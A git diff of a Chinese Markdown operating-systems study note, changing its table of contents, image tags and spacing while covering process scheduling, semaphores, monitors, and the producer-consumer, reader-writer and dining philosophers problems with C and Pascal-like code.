+    * [必要条件](#必要条件)
+    * [处理方法](#处理方法)
+    * [鸵鸟策略](#鸵鸟策略)
+    * [死锁检测与死锁恢复](#死锁检测与死锁恢复)
+    * [死锁预防](#死锁预防)
+    * [死锁避免](#死锁避免)
+* [四、内存管理](#四内存管理)
+    * [虚拟内存](#虚拟内存)
+    * [分页系统地址映射](#分页系统地址映射)
+    * [页面置换算法](#页面置换算法)
+    * [分段](#分段)
+    * [段页式](#段页式)
+    * [分页与分段的比较](#分页与分段的比较)
+* [五、设备管理](#五设备管理)
+    * [磁盘结构](#磁盘结构)
+    * [磁盘调度算法](#磁盘调度算法)
+* [六、链接](#六链接)
+    * [编译系统](#编译系统)
+    * [静态链接](#静态链接)
+    * [目标文件](#目标文件)
+    * [动态链接](#动态链接)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-## 基本特征
 
-### 1. 并发
+# 一、概述
+
+## 基本特征
+
+### 1. 并发
 
 并发是指宏观上在一段时间内能同时运行多个程序，而并行则指同一时刻能运行多个指令。
 
@@ -10,7 +51,7 @@
 
 操作系统通过引入进程和线程，使得程序能够并发运行。
 
-### 2. 共享
+### 2. 共享
 
 共享是指系统中的资源可以被多个并发进程共同使用。
 
@@ -18,7 +59,7 @@
 
 互斥共享的资源称为临界资源，例如打印机等，在同一时间只允许一个进程访问，需要用同步机制来实现对临界资源的访问。
 
-### 3. 虚拟
+### 3. 虚拟
 
 虚拟技术把一个物理实体转换为多个逻辑实体。
 
@@ -28,56 +69,56 @@
 
 虚拟内存使用了空分复用技术，它将物理内存抽象为地址空间，每个进程都有各自的地址空间。地址空间和物理内存使用页进行交换，地址空间的页并不需要全部在物理内存中，当使用到一个没有在物理内存的页时，执行页面置换算法，将该页置换到内存中。
 
-### 4. 异步
+### 4. 异步
 
 异步指进程不是一次性执行完毕，而是走走停停，以不可知的速度向前推进。
 
-## 基本功能
+## 基本功能
 
-### 1. 进程管理
+### 1. 进程管理
 
 进程控制、进程同步、进程通信、死锁处理、处理机调度等。
 
-### 2. 内存管理
+### 2. 内存管理
 
 内存分配、地址映射、内存保护与共享、虚拟内存等。
 
-### 3. 文件管理
+### 3. 文件管理
 
 文件存储空间的管理、目录管理、文件读写管理和保护等。
 
-### 4. 设备管理
+### 4. 设备管理
 
-完成用户的 I/O 请求，方便用户使用各种设备，并提高设备的利用率。
+完成用户的 I/O 请求，方便用户使用各种设备，并提高设备的利用率。
 
 主要包括缓冲管理、设备分配、设备处理、虛拟设备等。
 
-## 系统调用
+## 系统调用
 
 如果一个进程在用户态需要使用内核态的功能，就进行系统调用从而陷入内核，由操作系统代为完成。
 
-<img src="index_files/tGPV0.png" width="600"/>
+<div align="center"> <img src="pics/tGPV0.png" width="600"/> </div><br>
 
-Linux 的系统调用主要有以下这些：
+Linux 的系统调用主要有以下这些：
 
-| Task | Commands |
-| :---: | --- |
-| 进程控制 | fork(); exit(); wait(); |
-| 进程通信 | pipe(); shmget(); mmap(); |
-| 文件操作 | open(); read(); write(); |
-| 设备操作 | ioctl(); read(); write(); |
-| 信息维护 | getpid(); alarm(); sleep(); |
-| 安全 | chmod(); umask(); chown(); |
+| Task | Commands |
+| :---: | --- |
+| 进程控制 | fork(); exit(); wait(); |
+| 进程通信 | pipe(); shmget(); mmap(); |
+| 文件操作 | open(); read(); write(); |
+| 设备操作 | ioctl(); read(); write(); |
+| 信息维护 | getpid(); alarm(); sleep(); |
+| 安全 | chmod(); umask(); chown(); |
 
-## 大内核和微内核
+## 大内核和微内核
 
-### 1. 大内核
+### 1. 大内核
 
 大内核是将操作系统功能作为一个紧密结合的整体放到内核。
 
 由于各模块共享信息，因此有很高的性能。
 
-### 2. 微内核
+### 2. 微内核
 
 由于操作系统不断复杂，因此将一部分操作系统功能移出内核，从而降低内核的复杂性。移出的部分根据分层的原则划分成若干服务，相互独立。
 
@@ -85,606 +126,606 @@ Linux 的系统调用主要有以下这些：
 
 因为需要频繁地在用户态和核心态之间进行切换，所以会有一定的性能损失。
 
-![](index_files/2_14_microkernelArchitecture.jpg)
+<div align="center"> <img src="pics/2_14_microkernelArchitecture.jpg"/> </div><br>
 
-## 中断分类
+## 中断分类
 
-### 1. 外中断
+### 1. 外中断
 
-由 CPU 执行指令以外的事件引起，如 I/O 完成中断，表示设备输入/输出处理已经完成，处理器能够发送下一个输入/输出请求。此外还有时钟中断、控制台中断等。
+由 CPU 执行指令以外的事件引起，如 I/O 完成中断，表示设备输入/输出处理已经完成，处理器能够发送下一个输入/输出请求。此外还有时钟中断、控制台中断等。
 
-### 2. 异常
+### 2. 异常
 
-由 CPU 执行指令的内部事件引起，如非法操作码、地址越界、算术溢出等。
+由 CPU 执行指令的内部事件引起，如非法操作码、地址越界、算术溢出等。
 
-### 3. 陷入
+### 3. 陷入
 
 在用户程序中使用系统调用。
 
-# 二、进程管理
+# 二、进程管理
 
-## 进程与线程
+## 进程与线程
 
-### 1. 进程
+### 1. 进程
 
 进程是资源分配的基本单位。
 
-进程控制块 (Process Control Block, PCB) 描述进程的基本信息和运行状态，所谓的创建进程和撤销进程，都是指对 PCB 的操作。
+进程控制块 (Process Control Block, PCB) 描述进程的基本信息和运行状态，所谓的创建进程和撤销进程，都是指对 PCB 的操作。
 
-下图显示了 4 个程序创建了 4 个进程，这 4 个进程可以并发地执行。
+下图显示了 4 个程序创建了 4 个进程，这 4 个进程可以并发地执行。
 
-![](index_files/a6ac2b08-3861-4e85-baa8-382287bfee9f.png)
+<div align="center"> <img src="pics/a6ac2b08-3861-4e85-baa8-382287bfee9f.png"/> </div><br>
 
-### 2. 线程
+### 2. 线程
 
 线程是独立调度的基本单位。
 
 一个进程中可以有多个线程，它们共享进程资源。
 
-QQ 和浏览器是两个进程，浏览器进程里面有很多线程，例如 HTTP 请求线程、事件响应线程、渲染线程等等，线程的并发执行使得在浏览器中点击一个新链接从而发起 HTTP 请求时，浏览器还可以响应用户的其它事件。
+QQ 和浏览器是两个进程，浏览器进程里面有很多线程，例如 HTTP 请求线程、事件响应线程、渲染线程等等，线程的并发执行使得在浏览器中点击一个新链接从而发起 HTTP 请求时，浏览器还可以响应用户的其它事件。
 
-![](index_files/3cd630ea-017c-488d-ad1d-732b4efeddf5.png)
+<div align="center"> <img src="pics/3cd630ea-017c-488d-ad1d-732b4efeddf5.png"/> </div><br>
 
-### 3. 区别
+### 3. 区别
 
-Ⅰ 拥有资源
+Ⅰ 拥有资源
 
 进程是资源分配的基本单位，但是线程不拥有资源，线程可以访问隶属进程的资源。
 
-Ⅱ 调度
+Ⅱ 调度
 
 线程是独立调度的基本单位，在同一进程中，线程的切换不会引起进程切换，从一个进程中的线程切换到另一个进程中的线程时，会引起进程切换。
 
-Ⅲ 系统开销
+Ⅲ 系统开销
 
-由于创建或撤销进程时，系统都要为之分配或回收资源，如内存空间、I/O 设备等，所付出的开销远大于创建或撤销线程时的开销。类似地，在进行进程切换时，涉及当前执行进程 CPU 环境的保存及新调度进程 CPU 环境的设置，而线程切换时只需保存和设置少量寄存器内容，开销很小。
+由于创建或撤销进程时，系统都要为之分配或回收资源，如内存空间、I/O 设备等，所付出的开销远大于创建或撤销线程时的开销。类似地，在进行进程切换时，涉及当前执行进程 CPU 环境的保存及新调度进程 CPU 环境的设置，而线程切换时只需保存和设置少量寄存器内容，开销很小。
 
-Ⅳ 通信方面
+Ⅳ 通信方面
 
-线程间可以通过直接读写同一进程中的数据进行通信，但是进程通信需要借助 IPC。
+线程间可以通过直接读写同一进程中的数据进行通信，但是进程通信需要借助 IPC。
 
-## 进程状态的切换
+## 进程状态的切换
 
-<img src="index_files/ProcessState.png" width="500"/>
+<div align="center"> <img src="pics/ProcessState.png" width="500"/> </div><br>
 
-- 就绪状态（ready）：等待被调度
-- 运行状态（running）
-- 阻塞状态（waiting）：等待资源
+- 就绪状态（ready）：等待被调度
+- 运行状态（running）
+- 阻塞状态（waiting）：等待资源
 
 应该注意以下内容：
 
-- 只有就绪态和运行态可以相互转换，其它的都是单向转换。就绪状态的进程通过调度算法从而获得 CPU 时间，转为运行状态；而运行状态的进程，在分配给它的 CPU 时间片用完之后就会转为就绪状态，等待下一次调度。
-- 阻塞状态是缺少需要的资源从而由运行状态转换而来，但是该资源不包括 CPU 时间，缺少 CPU 时间会从运行态转换为就绪态。
+- 只有就绪态和运行态可以相互转换，其它的都是单向转换。就绪状态的进程通过调度算法从而获得 CPU 时间，转为运行状态；而运行状态的进程，在分配给它的 CPU 时间片用完之后就会转为就绪状态，等待下一次调度。
+- 阻塞状态是缺少需要的资源从而由运行状态转换而来，但是该资源不包括 CPU 时间，缺少 CPU 时间会从运行态转换为就绪态。
 
-## 进程调度算法
+## 进程调度算法
 
 不同环境的调度算法目标不同，因此需要针对不同环境来讨论调度算法。
 
-### 1. 批处理系统
+### 1. 批处理系统
 
 批处理系统没有太多的用户操作，在该系统中，调度算法目标是保证吞吐量和周转时间（从提交到终止的时间）。
 
-**1.1 先来先服务 first-come first-serverd（FCFS）**
+**1.1 先来先服务 first-come first-serverd（FCFS）** 
 
 按照请求的顺序进行调度。
 
 有利于长作业，但不利于短作业，因为短作业必须一直等待前面的长作业执行完毕才能执行，而长作业又需要执行很长时间，造成了短作业等待时间过长。
 
-**1.2 短作业优先 shortest job first（SJF）**
+**1.2 短作业优先 shortest job first（SJF）** 
 
 按估计运行时间最短的顺序进行调度。
 
 长作业有可能会饿死，处于一直等待短作业执行完毕的状态。因为如果一直有短作业到来，那么长作业永远得不到调度。
 
-**1.3 最短剩余时间优先 shortest remaining time next（SRTN）**
+**1.3 最短剩余时间优先 shortest remaining time next（SRTN）** 
 
 按估计剩余时间最短的顺序进行调度。
 
-### 2. 交互式系统
+### 2. 交互式系统
 
 交互式系统有大量的用户交互操作，在该系统中调度算法的目标是快速地进行响应。
 
-**2.1 时间片轮转**
+**2.1 时间片轮转** 
 
-将所有就绪进程按 FCFS 的原则排成一个队列，每次调度时，把 CPU 时间分配给队首进程，该进程可以执行一个时间片。当时间片用完时，由计时器发出时钟中断，调度程序便停止该进程的执行，并将它送往就绪队列的末尾，同时继续把 CPU 时间分配给队首的进程。
+将所有就绪进程按 FCFS 的原则排成一个队列，每次调度时，把 CPU 时间分配给队首进程，该进程可以执行一个时间片。当时间片用完时，由计时器发出时钟中断，调度程序便停止该进程的执行，并将它送往就绪队列的末尾，同时继续把 CPU 时间分配给队首的进程。
 
 时间片轮转算法的效率和时间片的大小有很大关系：
 
-- 因为进程切换都要保存进程的信息并且载入新进程的信息，如果时间片太小，会导致进程切换得太频繁，在进程切换上就会花过多时间。
-- 而如果时间片过长，那么实时性就不能得到保证。
+- 因为进程切换都要保存进程的信息并且载入新进程的信息，如果时间片太小，会导致进程切换得太频繁，在进程切换上就会花过多时间。
+- 而如果时间片过长，那么实时性就不能得到保证。
 
-![](index_files/8c662999-c16c-481c-9f40-1fdba5bc9167.png)
+<div align="center"> <img src="pics/8c662999-c16c-481c-9f40-1fdba5bc9167.png"/> </div><br>
 
-**2.2 优先级调度**
+**2.2 优先级调度** 
 
 为每个进程分配一个优先级，按优先级进行调度。
 
 为了防止低优先级的进程永远等不到调度，可以随着时间的推移增加等待进程的优先级。
 
-**2.3 多级反馈队列**
+**2.3 多级反馈队列** 
 
-一个进程需要执行 100 个时间片，如果采用时间片轮转调度算法，那么需要交换 100 次。
+一个进程需要执行 100 个时间片，如果采用时间片轮转调度算法，那么需要交换 100 次。
 
-多级队列是为这种需要连续执行多个时间片的进程考虑，它设置了多个队列，每个队列时间片大小都不同，例如 1,2,4,8,..。进程在第一个队列没执行完，就会被移到下一个队列。这种方式下，之前的进程只需要交换 7 次。
+多级队列是为这种需要连续执行多个时间片的进程考虑，它设置了多个队列，每个队列时间片大小都不同，例如 1,2,4,8,..。进程在第一个队列没执行完，就会被移到下一个队列。这种方式下，之前的进程只需要交换 7 次。
 
 每个队列优先权也不同，最上面的优先权最高。因此只有上一个队列没有进程在排队，才能调度当前队列上的进程。
 
 可以将这种调度算法看成是时间片轮转调度算法和优先级调度算法的结合。
 
-![](index_files/042cf928-3c8e-4815-ae9c-f2780202c68f.png)
+<div align="center"> <img src="pics/042cf928-3c8e-4815-ae9c-f2780202c68f.png"/> </div><br>
 
-### 3. 实时系统
+### 3. 实时系统
 
 实时系统要求一个请求在一个确定时间内得到响应。
 
 分为硬实时和软实时，前者必须满足绝对的截止时间，后者可以容忍一定的超时。
 
-## 进程同步
+## 进程同步
 
-### 1. 临界区
+### 1. 临界区
 
 对临界资源进行访问的那段代码称为临界区。
 
 为了互斥访问临界资源，每个进程在进入临界区之前，需要先进行检查。
 
 ```html
-// entry section
-// critical section;
-// exit section
+// entry section
+// critical section;
+// exit section
 ```
 
-### 2. 同步与互斥
+### 2. 同步与互斥
 
-- 同步：多个进程按一定顺序执行；
-- 互斥：多个进程在同一时刻只有一个进程能进入临界区。
+- 同步：多个进程按一定顺序执行；
+- 互斥：多个进程在同一时刻只有一个进程能进入临界区。
 
-### 3. 信号量
+### 3. 信号量
 
-信号量（Semaphore）是一个整型变量，可以对其执行 down 和 up 操作，也就是常见的 P 和 V 操作。
+信号量（Semaphore）是一个整型变量，可以对其执行 down 和 up 操作，也就是常见的 P 和 V 操作。
 
-- **down** : 如果信号量大于 0 ，执行 -1 操作；如果信号量等于 0，进程睡眠，等待信号量大于 0；
-- **up**：对信号量执行 +1 操作，唤醒睡眠的进程让其完成 down 操作。
+-  **down**  : 如果信号量大于 0 ，执行 -1 操作；如果信号量等于 0，进程睡眠，等待信号量大于 0；
+-  **up** ：对信号量执行 +1 操作，唤醒睡眠的进程让其完成 down 操作。
 
-down 和 up 操作需要被设计成原语，不可分割，通常的做法是在执行这些操作的时候屏蔽中断。
+down 和 up 操作需要被设计成原语，不可分割，通常的做法是在执行这些操作的时候屏蔽中断。
 
-如果信号量的取值只能为 0 或者 1，那么就成为了 **互斥量（Mutex）**，0 表示临界区已经加锁，1 表示临界区解锁。
+如果信号量的取值只能为 0 或者 1，那么就成为了  **互斥量（Mutex）** ，0 表示临界区已经加锁，1 表示临界区解锁。
 
 ```c
-typedef int semaphore;
-semaphore mutex = 1;
-void P1() {
-    down(&mutex);
-    // 临界区
-    up(&mutex);
+typedef int semaphore;
+semaphore mutex = 1;
+void P1() {
+    down(&mutex);
+    // 临界区
+    up(&mutex);
 }
 
-void P2() {
-    down(&mutex);
-    // 临界区
-    up(&mutex);
+void P2() {
+    down(&mutex);
+    // 临界区
+    up(&mutex);
 }
 ```
 
-<font size=3> **使用信号量实现生产者-消费者问题** </font> </br>
+<font size=3>  **使用信号量实现生产者-消费者问题**  </font> </br>
 
 问题描述：使用一个缓冲区来保存物品，只有缓冲区没有满，生产者才可以放入物品；只有缓冲区不为空，消费者才可以拿走物品。
 
-因为缓冲区属于临界资源，因此需要使用一个互斥量 mutex 来控制对缓冲区的互斥访问。
+因为缓冲区属于临界资源，因此需要使用一个互斥量 mutex 来控制对缓冲区的互斥访问。
 
-为了同步生产者和消费者的行为，需要记录缓冲区中物品的数量。数量可以使用信号量来进行统计，这里需要使用两个信号量：empty 记录空缓冲区的数量，full 记录满缓冲区的数量。其中，empty 信号量是在生产者进程中使用，当 empty 不为 0 时，生产者才可以放入物品；full 信号量是在消费者进程中使用，当 full 信号量不为 0 时，消费者才可以取走物品。
+为了同步生产者和消费者的行为，需要记录缓冲区中物品的数量。数量可以使用信号量来进行统计，这里需要使用两个信号量：empty 记录空缓冲区的数量，full 记录满缓冲区的数量。其中，empty 信号量是在生产者进程中使用，当 empty 不为 0 时，生产者才可以放入物品；full 信号量是在消费者进程中使用，当 full 信号量不为 0 时，消费者才可以取走物品。
 
-注意，不能先对缓冲区进行加锁，再测试信号量。也就是说，不能先执行 down(mutex) 再执行 down(empty)。如果这么做了，那么可能会出现这种情况：生产者对缓冲区加锁后，执行 down(empty) 操作，发现 empty = 0，此时生产者睡眠。消费者不能进入临界区，因为生产者对缓冲区加锁了，消费者就无法执行 up(empty) 操作，empty 永远都为 0，导致生产者永远等待下，不会释放锁，消费者因此也会永远等待下去。
+注意，不能先对缓冲区进行加锁，再测试信号量。也就是说，不能先执行 down(mutex) 再执行 down(empty)。如果这么做了，那么可能会出现这种情况：生产者对缓冲区加锁后，执行 down(empty) 操作，发现 empty = 0，此时生产者睡眠。消费者不能进入临界区，因为生产者对缓冲区加锁了，消费者就无法执行 up(empty) 操作，empty 永远都为 0，导致生产者永远等待下，不会释放锁，消费者因此也会永远等待下去。
 
 ```c
-#define N 100
-typedef int semaphore;
-semaphore mutex = 1;
-semaphore empty = N;
-semaphore full = 0;
+#define N 100
+typedef int semaphore;
+semaphore mutex = 1;
+semaphore empty = N;
+semaphore full = 0;
 
-void producer() {
-    while(TRUE) {
-        int item = produce_item();
-        down(&empty);
-        down(&mutex);
-        insert_item(item);
-        up(&mutex);
-        up(&full);
-    }
+void producer() {
+    while(TRUE) {
+        int item = produce_item();
+        down(&empty);
+        down(&mutex);
+        insert_item(item);
+        up(&mutex);
+        up(&full);
+    }
 }
 
-void consumer() {
-    while(TRUE) {
-        down(&full);
-        down(&mutex);
-        int item = remove_item();
-        consume_item(item);
-        up(&mutex);
-        up(&empty);
-    }
+void consumer() {
+    while(TRUE) {
+        down(&full);
+        down(&mutex);
+        int item = remove_item();
+        consume_item(item);
+        up(&mutex);
+        up(&empty);
+    }
 }
 ```
 
-### 4. 管程
+### 4. 管程
 
 使用信号量机制实现的生产者消费者问题需要客户端代码做很多控制，而管程把控制的代码独立出来，不仅不容易出错，也使得客户端代码调用更容易。
 
-c 语言不支持管程，下面的示例代码使用了类 Pascal 语言来描述管程。示例代码的管程提供了 insert() 和 remove() 方法，客户端代码通过调用这两个方法来解决生产者-消费者问题。
+c 语言不支持管程，下面的示例代码使用了类 Pascal 语言来描述管程。示例代码的管程提供了 insert() 和 remove() 方法，客户端代码通过调用这两个方法来解决生产者-消费者问题。
 
 ```pascal
-monitor ProducerConsumer
-    integer i;
-    condition c;
+monitor ProducerConsumer
+    integer i;
+    condition c;
 
-    procedure insert();
-    begin
-        // ...
-    end;
+    procedure insert();
+    begin
+        // ...
+    end;
 
-    procedure remove();
-    begin
-        // ...
-    end;
-end monitor;
+    procedure remove();
+    begin
+        // ...
+    end;
+end monitor;
 ```
 
 管程有一个重要特性：在一个时刻只能有一个进程使用管程。进程在无法继续执行的时候不能一直占用管程，否者其它进程永远不能使用管程。
 
-管程引入了 **条件变量** 以及相关的操作：**wait()** 和 **signal()** 来实现同步操作。对条件变量执行 wait() 操作会导致调用进程阻塞，把管程让出来给另一个进程持有。signal() 操作用于唤醒被阻塞的进程。
+管程引入了  **条件变量**  以及相关的操作：**wait()** 和 **signal()** 来实现同步操作。对条件变量执行 wait() 操作会导致调用进程阻塞，把管程让出来给另一个进程持有。signal() 操作用于唤醒被阻塞的进程。
 
-<font size=3>**使用管程实现生产者-消费者问题**</font><br>
+<font size=3> **使用管程实现生产者-消费者问题** </font><br>
 
 ```pascal
-// 管程
-monitor ProducerConsumer
-    condition full, empty;
-    integer count := 0;
-    condition c;
+// 管程
+monitor ProducerConsumer
+    condition full, empty;
+    integer count := 0;
+    condition c;
 
-    procedure insert(item: integer);
-    begin
-        if count = N then wait(full);
-        insert_item(item);
-        count := count + 1;
-        if count = 1 then signal(empty);
-    end;
+    procedure insert(item: integer);
+    begin
+        if count = N then wait(full);
+        insert_item(item);
+        count := count + 1;
+        if count = 1 then signal(empty);
+    end;
 
-    function remove: integer;
-    begin
-        if count = 0 then wait(empty);
-        remove = remove_item;
-        count := count - 1;
-        if count = N -1 then signal(full);
-    end;
-end monitor;
+    function remove: integer;
+    begin
+        if count = 0 then wait(empty);
+        remove = remove_item;
+        count := count - 1;
+        if count = N -1 then signal(full);
+    end;
+end monitor;
 
-// 生产者客户端
-procedure producer
+// 生产者客户端
+procedure producer
 begin
-    while true do
-    begin
-        item = produce_item;
-        ProducerConsumer.insert(item);
-    end
+    while true do
+    begin
+        item = produce_item;
+        ProducerConsumer.insert(item);
+    end
 end;
 
-// 消费者客户端
-procedure consumer
+// 消费者客户端
+procedure consumer
 begin
-    while true do
-    begin
-        item = ProducerConsumer.remove;
-        consume_item(item);
-    end
+    while true do
+    begin
+        item = ProducerConsumer.remove;
+        consume_item(item);
+    end
 end;
 ```
 
-## 经典同步问题
+## 经典同步问题
 
 生产者和消费者问题前面已经讨论过了。
 
-### 1. 读者-写者问题
+### 1. 读者-写者问题
 
 允许多个进程同时对数据进行读操作，但是不允许读和写以及写和写操作同时发生。
 
-一个整型变量 count 记录在对数据进行读操作的进程数量，一个互斥量 count_mutex 用于对 count 加锁，一个互斥量 data_mutex 用于对读写的数据加锁。
+一个整型变量 count 记录在对数据进行读操作的进程数量，一个互斥量 count_mutex 用于对 count 加锁，一个互斥量 data_mutex 用于对读写的数据加锁。
 
 ```c
-typedef int semaphore;
-semaphore count_mutex = 1;
-semaphore data_mutex = 1;
-int count = 0;
+typedef int semaphore;
+semaphore count_mutex = 1;
+semaphore data_mutex = 1;
+int count = 0;
 
-void reader() {
-    while(TRUE) {
-        down(&count_mutex);
-        count++;
-        if(count == 1) down(&data_mutex); // 第一个读者需要对数据进行加锁，防止写进程访问
-        up(&count_mutex);
-        read();
-        down(&count_mutex);
-        count--;
-        if(count == 0) up(&data_mutex);
-        up(&count_mutex);
-    }
+void reader() {
+    while(TRUE) {
+        down(&count_mutex);
+        count++;
+        if(count == 1) down(&data_mutex); // 第一个读者需要对数据进行加锁，防止写进程访问
+        up(&count_mutex);
+        read();
+        down(&count_mutex);
+        count--;
+        if(count == 0) up(&data_mutex);
+        up(&count_mutex);
+    }
 }
 
-void writer() {
-    while(TRUE) {
-        down(&data_mutex);
-        write();
-        up(&data_mutex);
-    }
+void writer() {
+    while(TRUE) {
+        down(&data_mutex);
+        write();
+        up(&data_mutex);
+    }
 }
 ```
 
-以下内容由 [@Bandi Yugandhar](https://github.com/yugandharbandi) 提供。
+以下内容由 [@Bandi Yugandhar](https://github.com/yugandharbandi) 提供。
 
-The first case may result Writer to starve. This case favous Writers i.e no writer, once added to the queue, shall be kept waiting longer than absolutely necessary(only when there are readers that entered the queue before the writer).
+The first case may result Writer to starve. This case favous Writers i.e no writer, once added to the queue, shall be kept waiting longer than absolutely necessary(only when there are readers that entered the queue before the writer).
 
 ```source-c
-int readcount, writecount;                   //(initial value = 0)
-semaphore rmutex, wmutex, readLock, resource; //(initial value = 1)
+int readcount, writecount;                   //(initial value = 0)
+semaphore rmutex, wmutex, readLock, resource; //(initial value = 1)
 
 //READER
-void reader() {
-<ENTRY Section>
- down(&readLock);                 //  reader is trying to enter
- down(&rmutex);                  //   lock to increase readcount
-  readcount++;                 
-  if (readcount == 1)          
-   down(&resource);              //if you are the first reader then lock  the resource
- up(&rmutex);                  //release  for other readers
- up(&readLock);                 //Done with trying to access the resource
+void reader() {
+<ENTRY Section>
+ down(&readLock);                 //  reader is trying to enter
+ down(&rmutex);                  //   lock to increase readcount
+  readcount++;                 
+  if (readcount == 1)          
+   down(&resource);              //if you are the first reader then lock  the resource
+ up(&rmutex);                  //release  for other readers
+ up(&readLock);                 //Done with trying to access the resource
 
-<CRITICAL Section>
-//reading is performed
+<CRITICAL Section>
+//reading is performed
 
-<EXIT Section>
- down(&rmutex);                  //reserve exit section - avoids race condition with readers
- readcount--;                       //indicate you're leaving
-  if (readcount == 0)          //checks if you are last reader leaving
-   up(&resource);              //if last, you must release the locked resource
- up(&rmutex);                  //release exit section for other readers
+<EXIT Section>
+ down(&rmutex);                  //reserve exit section - avoids race condition with readers
+ readcount--;                       //indicate you're leaving
+  if (readcount == 0)          //checks if you are last reader leaving
+   up(&resource);              //if last, you must release the locked resource
+ up(&rmutex);                  //release exit section for other readers
 }
 
 //WRITER
-void writer() {
-  <ENTRY Section>
-  down(&wmutex);                  //reserve entry section for writers - avoids race conditions
-  writecount++;                //report yourself as a writer entering
-  if (writecount == 1)         //checks if you're first writer
-   down(&readLock);               //if you're first, then you must lock the readers out. Prevent them from trying to enter CS
-  up(&wmutex);                  //release entry section
+void writer() {
+  <ENTRY Section>
+  down(&wmutex);                  //reserve entry section for writers - avoids race conditions
+  writecount++;                //report yourself as a writer entering
+  if (writecount == 1)         //checks if you're first writer
+   down(&readLock);               //if you're first, then you must lock the readers out. Prevent them from trying to enter CS
+  up(&wmutex);                  //release entry section
 
-<CRITICAL Section>
- down(&resource);                //reserve the resource for yourself - prevents other writers from simultaneously editing the shared resource
-  //writing is performed
- up(&resource);                //release file
+<CRITICAL Section>
+ down(&resource);                //reserve the resource for yourself - prevents other writers from simultaneously editing the shared resource
+  //writing is performed
+ up(&resource);                //release file
 
-<EXIT Section>
-  down(&wmutex);                  //reserve exit section
-  writecount--;                //indicate you're leaving
-  if (writecount == 0)         //checks if you're the last writer
-   up(&readLock);               //if you're last writer, you must unlock the readers. Allows them to try enter CS for reading
-  up(&wmutex);                  //release exit section
+<EXIT Section>
+  down(&wmutex);                  //reserve exit section
+  writecount--;                //indicate you're leaving
+  if (writecount == 0)         //checks if you're the last writer
+   up(&readLock);               //if you're last writer, you must unlock the readers. Allows them to try enter CS for reading
+  up(&wmutex);                  //release exit section
 }
 ```
 
-We can observe that every reader is forced to acquire ReadLock. On the otherhand, writers doesn’t need to lock individually. Once the first writer locks the ReadLock, it will be released only when there is no writer left in the queue.
+We can observe that every reader is forced to acquire ReadLock. On the otherhand, writers doesn’t need to lock individually. Once the first writer locks the ReadLock, it will be released only when there is no writer left in the queue.
 
-From the both cases we observed that either reader or writer has to starve. Below solutionadds the constraint that no thread shall be allowed to starve; that is, the operation of obtaining a lock on the shared data will always terminate in a bounded amount of time.
+From the both cases we observed that either reader or writer has to starve. Below solutionadds the constraint that no thread shall be allowed to starve; that is, the operation of obtaining a lock on the shared data will always terminate in a bounded amount of time.
 
 ```source-c
-int readCount;                  // init to 0; number of readers currently accessing resource
+int readCount;                  // init to 0; number of readers currently accessing resource
 
-// all semaphores initialised to 1
-Semaphore resourceAccess;       // controls access (read/write) to the resource
-Semaphore readCountAccess;      // for syncing changes to shared variable readCount
-Semaphore serviceQueue;         // FAIRNESS: preserves ordering of requests (signaling must be FIFO)
+// all semaphores initialised to 1
+Semaphore resourceAccess;       // controls access (read/write) to the resource
+Semaphore readCountAccess;      // for syncing changes to shared variable readCount
+Semaphore serviceQueue;         // FAIRNESS: preserves ordering of requests (signaling must be FIFO)
 
-void writer()
-{ 
-    down(&serviceQueue);           // wait in line to be servicexs
-    // <ENTER>
-    down(&resourceAccess);         // request exclusive access to resource
-    // </ENTER>
-    up(&serviceQueue);           // let next in line be serviced
+void writer()
+{ 
+    down(&serviceQueue);           // wait in line to be servicexs
+    // <ENTER>
+    down(&resourceAccess);         // request exclusive access to resource
+    // </ENTER>
+    up(&serviceQueue);           // let next in line be serviced
 
-    // <WRITE>
-    writeResource();            // writing is performed
-    // </WRITE>
+    // <WRITE>
+    writeResource();            // writing is performed
+    // </WRITE>
 
-    // <EXIT>
-    up(&resourceAccess);         // release resource access for next reader/writer
-    // </EXIT>
+    // <EXIT>
+    up(&resourceAccess);         // release resource access for next reader/writer
+    // </EXIT>
 }
 
-void reader()
-{ 
-    down(&serviceQueue);           // wait in line to be serviced
-    down(&readCountAccess);        // request exclusive access to readCount
-    // <ENTER>
-    if (readCount == 0)         // if there are no readers already reading:
-        down(&resourceAccess);     // request resource access for readers (writers blocked)
-    readCount++;                // update count of active readers
-    // </ENTER>
-    up(&serviceQueue);           // let next in line be serviced
-    up(&readCountAccess);        // release access to readCount
+void reader()
+{ 
+    down(&serviceQueue);           // wait in line to be serviced
+    down(&readCountAccess);        // request exclusive access to readCount
+    // <ENTER>
+    if (readCount == 0)         // if there are no readers already reading:
+        down(&resourceAccess);     // request resource access for readers (writers blocked)
+    readCount++;                // update count of active readers
+    // </ENTER>
+    up(&serviceQueue);           // let next in line be serviced
+    up(&readCountAccess);        // release access to readCount
 
-    // <READ>
-    readResource();             // reading is performed
-    // </READ>
+    // <READ>
+    readResource();             // reading is performed
+    // </READ>
 
-    down(&readCountAccess);        // request exclusive access to readCount
-    // <EXIT>
-    readCount--;                // update count of active readers
-    if (readCount == 0)         // if there are no readers left:
-        up(&resourceAccess);     // release resource access for all
-    // </EXIT>
-    up(&readCountAccess);        // release access to readCount
+    down(&readCountAccess);        // request exclusive access to readCount
+    // <EXIT>
+    readCount--;                // update count of active readers
+    if (readCount == 0)         // if there are no readers left:
+        up(&resourceAccess);     // release resource access for all
+    // </EXIT>
+    up(&readCountAccess);        // release access to readCount
 }
 
 ```
 
 
-### 2. 哲学家进餐问题
+### 2. 哲学家进餐问题
 
-![](index_files/a9077f06-7584-4f2b-8c20-3a8e46928820.jpg)
+<div align="center"> <img src="pics/a9077f06-7584-4f2b-8c20-3a8e46928820.jpg"/> </div><br>
 
 五个哲学家围着一张圆桌，每个哲学家面前放着食物。哲学家的生活有两种交替活动：吃饭以及思考。当一个哲学家吃饭时，需要先拿起自己左右两边的两根筷子，并且一次只能拿起一根筷子。
 
 下面是一种错误的解法，考虑到如果所有哲学家同时拿起左手边的筷子，那么就无法拿起右手边的筷子，造成死锁。
 
 ```c
-#define N 5
+#define N 5
 
-void philosopher(int i) {
-    while(TRUE) {
-        think();
-        take(i);       // 拿起左边的筷子
-        take((i+1)%N); // 拿起右边的筷子
-        eat();
-        put(i);
-        put((i+1)%N);
-    }
+void philosopher(int i) {
+    while(TRUE) {
+        think();
+        take(i);       // 拿起左边的筷子
+        take((i+1)%N); // 拿起右边的筷子
+        eat();
+        put(i);
+        put((i+1)%N);
+    }
 }
 ```
 
 为了防止死锁的发生，可以设置两个条件：
 
-- 必须同时拿起左右两根筷子；
-- 只有在两个邻居都没有进餐的情况下才允许进餐。
